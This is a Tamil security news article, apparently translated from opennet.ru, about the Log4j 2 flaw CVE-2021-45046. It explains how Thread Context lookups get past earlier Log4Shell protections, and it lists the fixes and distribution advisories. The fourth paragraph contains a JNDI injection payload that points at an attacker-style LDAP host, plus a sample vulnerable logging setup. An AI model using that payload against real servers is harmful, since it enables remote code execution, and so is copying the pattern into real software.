Log4j 2க்கான புதிய தாக்குதல் விருப்பம், இது கூடுதல் பாதுகாப்பைத் தவிர்க்க உங்களை அனுமதிக்கிறது

Log4j 2 லைப்ரரியில் (CVE-2021-45046) JNDI தேடுதல்களைச் செயல்படுத்துவதில் மற்றொரு பாதிப்பு கண்டறியப்பட்டுள்ளது, இது வெளியீடு 2.15 இல் திருத்தங்கள் சேர்க்கப்பட்டாலும், பாதுகாப்பிற்காக “log4j2.noFormatMsgLookup” அமைப்பைப் பயன்படுத்தினாலும் தோன்றும். "noFormatMsgLookup" கொடியைப் பயன்படுத்தி பாதுகாக்கப்பட்ட Log4j 2 இன் பழைய பதிப்புகளுக்கு, சிக்கல் ஆபத்தானது, ஏனெனில் இது முந்தைய பாதிப்புகளிலிருந்து (Log4Shell, CVE-2021-44228) பாதுகாப்பைத் தவிர்க்க உதவுகிறது, இது உங்கள் குறியீட்டை இயக்க அனுமதிக்கிறது சர்வர். பதிப்பு 2.15ஐப் பயன்படுத்துபவர்களுக்கு, கிடைக்கக்கூடிய ஆதாரங்கள் தீர்ந்துபோவதால் பயன்பாடு செயலிழக்கச் செய்வது மட்டுமே.

${ctx:loginId}, அல்லது %X, %mdc மற்றும் %MDC போன்ற MDC டெம்ப்ளேட்கள் (நூல் சூழல் வரைபடம்) போன்ற உள்நுழைவிற்கான சூழல் தேடலைப் பயன்படுத்தும் கணினிகளில் மட்டுமே பாதிப்பு தோன்றும். பதிவுக்கு வெளியீட்டை வடிவமைப்பதற்கான விதிகளை வரையறுக்கும் பயன்பாட்டில் சூழல் வினவல்கள் அல்லது MDC டெம்ப்ளேட்டுகளைப் பயன்படுத்தும் போது பதிவிற்கு JNDI மாற்றீடுகளைக் கொண்ட தரவை வெளியிடுவதற்கான நிபந்தனைகளை உருவாக்குவதற்கு செயல்பாடு வருகிறது.

LunaSec இன் ஆராய்ச்சியாளர்கள், Log4j இன் 2.15 க்கும் குறைவான பதிப்புகளுக்கு, இந்த பாதிப்பானது Log4Shell தாக்குதலுக்கு ஒரு புதிய திசையனாகப் பயன்படுத்தப்படலாம், இது குறியீட்டைச் செயல்படுத்துவதற்கு வழிவகுக்கும், வெளிப்புறத் தரவை உள்ளடக்கிய ThreadContext வெளிப்பாடுகள் பதிவு வெளியீட்டில் பயன்படுத்தப்பட்டாலும், "பாதுகாக்க" கொடி இயக்கப்பட்டது. noMsgFormatLookups" அல்லது "%m{nolookups}" டெம்ப்ளேட்.

Log4j 2க்கான புதிய தாக்குதல் விருப்பம், இது கூடுதல் பாதுகாப்பைத் தவிர்க்க உங்களை அனுமதிக்கிறது

"${jndi:ldap://attacker.com/a}" இன் நேரடி மாற்றீட்டிற்குப் பதிலாக, இந்த வெளிப்பாடு பதிவு வெளியீட்டை வடிவமைப்பதற்கான விதிகளில் பயன்படுத்தப்படும் ஒரு இடைநிலை மாறியின் மதிப்பின் மூலம் மாற்றியமைக்கப்படுகிறது. . எடுத்துக்காட்டாக, பதிவில் வெளியிடும் போது சூழல் வினவல் ${ctx:apiversion} பயன்படுத்தப்பட்டால், "${jndi:ldap://attacker.com/a}" தரவை பதிலீடு செய்வதன் மூலம் தாக்குதலை மேற்கொள்ளலாம். apiversion மாறிக்கு எழுதப்பட்ட மதிப்பு. பாதிக்கப்படக்கூடிய குறியீட்டின் எடுத்துக்காட்டு: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP தலைப்பு மதிப்பு ThreadContext ThreadContext.put("apiversion)க்கு அனுப்பப்பட்டது ", apiVersion ); // உள்நுழையும்போது, ​​${ctx:apiversion} logger.info("API பதிப்பிற்கான கோரிக்கையைப் பெற்றுள்ளது") என்ற பதிலைப் பயன்படுத்தி வெளிப்புற அபிவர்ஷன் மதிப்பு செயலாக்கப்படும்; திரும்ப "வணக்கம், உலகம்!"; }

Log4j பதிப்பு 2.15 இல், ThreadContext க்கு மதிப்புகளை அனுப்பும் போது DoS தாக்குதல்களைச் செய்ய பாதிப்பைப் பயன்படுத்தலாம், இதன் விளைவாக வெளியீட்டு வடிவமைத்தல் டெம்ப்ளேட் செயலாக்கத்தில் சுழற்சி ஏற்படும்.

Log4j 2க்கான புதிய தாக்குதல் விருப்பம், இது கூடுதல் பாதுகாப்பைத் தவிர்க்க உங்களை அனுமதிக்கிறது

பாதிப்பைத் தடுக்க 2.16 மற்றும் 2.12.2 மேம்படுத்தல்கள் வெளியிடப்பட்டுள்ளன. Log4j 2.16 கிளையில், பதிப்பு 2.15 இல் செயல்படுத்தப்பட்ட திருத்தங்கள் மற்றும் JNDI LDAP கோரிக்கைகளை "லோக்கல் ஹோஸ்ட்" க்கு பிணைப்பதுடன், JNDI செயல்பாடு முன்னிருப்பாக முற்றிலும் முடக்கப்பட்டு, செய்தி மாற்று டெம்ப்ளேட்டுகளுக்கான ஆதரவு அகற்றப்படும். பாதுகாப்பு தீர்வாக, கிளாஸ்பாத்தில் இருந்து JndiLookup வகுப்பை அகற்ற பரிந்துரைக்கப்படுகிறது (எடுத்துக்காட்டாக, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

விநியோகங்களின் பக்கங்களில் (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) மற்றும் Java இயங்குதள உற்பத்தியாளர்கள் (GitHub, Docker, Oracle, vmWare, Broadcom மற்றும் Amazon/AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure போன்றவை).

ஆதாரம்: opennet.ru

கருத்தைச் சேர்